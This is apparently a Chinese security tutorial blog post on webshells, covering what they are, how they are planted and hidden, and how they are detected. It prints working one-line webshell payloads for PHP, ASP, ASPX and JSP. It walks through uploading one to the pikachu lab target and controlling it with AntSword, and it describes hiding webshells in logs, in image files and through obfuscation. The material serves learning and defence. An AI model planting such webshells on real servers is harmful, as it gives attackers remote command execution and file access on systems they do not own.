网络安全-webshell详解(原理、攻击、检测与防御)

     阅读:23

目录

简介

原理

常见一句话木马

php

asp

aspx

jsp

攻击

WebShell管理工具

webshell隐藏

检测与防御

静态检测

参考

webshell

webshell查杀

参考


简介

Webshell是通过服务器开放的端口获取服务器的某些权限。

webshell又称脚本木马,一般分为大马、小马、一句话木马。

大马,体积大、功能齐全、能够管理数据库、文件管理、对站点进行快速的信息收集,甚至能够提权。

小马,一般而言,我们在上传文件的时候,会被限制上传的文件大小或是拦截的情况,那么我通过小马来上传大马,实现我们想要的功能。

一句话木马,短小精悍、功能强大、隐蔽性好、使用客户端可以快速管理webshell。

原理

利用文件上传漏洞、SQL注入漏洞、RCE漏洞等,将恶意文件放到web服务器中,也就是常说的”后门”,之后可以进行文件管理、数据库管理、远程命令执行、提权等恶意操作。

常见一句话木马

php

<?php @eval($_POST[value]); ?>
<?php assert($_POST[value]);?>
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>

asp

<%eval request ("value")%>
<% execute(request("value")) %>

aspx

<%@ Page Language="Jscript" %> <% eval(Request.Item["value"]) %>

jsp

<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

攻击

靶机:pikachu

工具:中国蚁剑

首先,利用文件上传漏洞,上传webshell文件

网络安全-文件上传漏洞的原理、攻击与防御_lady_killer9的博客-CSDN博客

文件为eval.php,内容为

<?php eval($_POST['eval']); ?>

 之后利用中国蚁剑连接网站,空白处右键->添加数据

添加数据
添加数据成功

上传文件及其他功能

终端控制

 再打开上传webshell的那个目录,可以看到多出来了%SystemDrive%目录, 

目录变化

至此,可以进行文件管理,虚拟终端等。

WebShell管理工具

webshell隐藏

隐藏到日志

例如,修改发送数据包的头部,添加webshell。 web服务器一般会保存访问记录到Web日志,若找到web日志,且放到可执行目录下,可能获得shell。

隐藏到合法文件

例如,文件上传漏洞中,将php代码放到jpg文件中,可以使用@运算符,以防发生任何错误。

混淆

删除空格、换行符等,导致代码文件比较乱,使用编码或加密来隐藏掉恶意函数名等。

检测与防御

静态检测

web日志

在对日志文件进行预处理后,对日志记录进行文本特征匹配、统计特征计算与文件关联性分析,最后对检测结果汇总,列出疑似的Webshell文件。

例如,网站目录下某php文件访问量过少,且来源ip固定。

动态检测

webshell传到服务器了,黑客总要去执行它吧,webshell执行时刻表现出来的特征,我们称为动态特征。

例如,webshell如果执行系统命令的话,会有进程。

以上面的攻击进行防御举例

webshell扫描

 点击执行操作

后门被删除

webshell文件被删除,但是%SystemDrive%目录还存在。

总结:攻击层面还应考虑如何绕过系统上传webshell,如何隐藏webshell免查杀,防御方面应该考虑如何避免webshell被上传,如何查杀webshell。

参考

webshell

webshell查杀

参考

 10款常见的Webshell检测工具 - Bypass - 博客园

更多内容查看:网络安全-自学笔记

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。如果您感觉有所收获,自愿打赏,可选择支付宝18833895206(小于),您的支持是我不断更新的动力。